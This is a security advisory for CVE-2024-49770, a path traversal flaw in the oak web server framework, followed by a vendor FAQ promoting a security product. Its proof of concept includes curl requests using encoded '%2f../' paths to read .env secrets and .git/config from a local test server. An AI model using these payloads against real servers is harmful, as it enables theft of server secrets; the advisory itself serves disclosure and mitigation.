CVE-2024-49770

By default oak does not allow transferring of hidden files with Context.send API. However, this can be bypassed by
encoding / as its URL encoded form %2F.

Details

1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that
contains URL encoded characters unless the client URL encodes it first.

2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from subdir/.env.

PoC

// server.ts

import { Application } from "jsr:@oak/[email protected]";

const app = new Application();

app.use(async (context, next) => {
  try {
    await context.send({
      root: './root',
      hidden: false, // default
    });
  } catch {
    await next();
  }
});

await app.listen({ port: 8000 });

In terminal:

# setup root directory
mkdir root/.git
echo SECRET_KEY=oops > root/.env
echo oops >  root/.git/config

# start server
deno run -A server.ts

# in another terminal
curl -D- http://127.0.0.1:8000/poc%2f../.env
curl -D- http://127.0.0.1:8000/poc%2f../.git/config

For an attacker this has potential to read sensitive user data or to gain access to server secrets.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2024-49770 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2024-49770? CVE-2024-49770 is a high-severity path traversal vulnerability in @oakserver/oak (npm), affecting versions <= 14.1.0. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2024-49770? CVE-2024-49770 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @oakserver/oak are affected by CVE-2024-49770? @oakserver/oak (npm) versions <= 14.1.0 is affected.
4. Is there a fix for CVE-2024-49770? No fixed version is listed for CVE-2024-49770 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2024-49770 exploitable, and should I be worried? Whether CVE-2024-49770 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-49770 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-49770? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.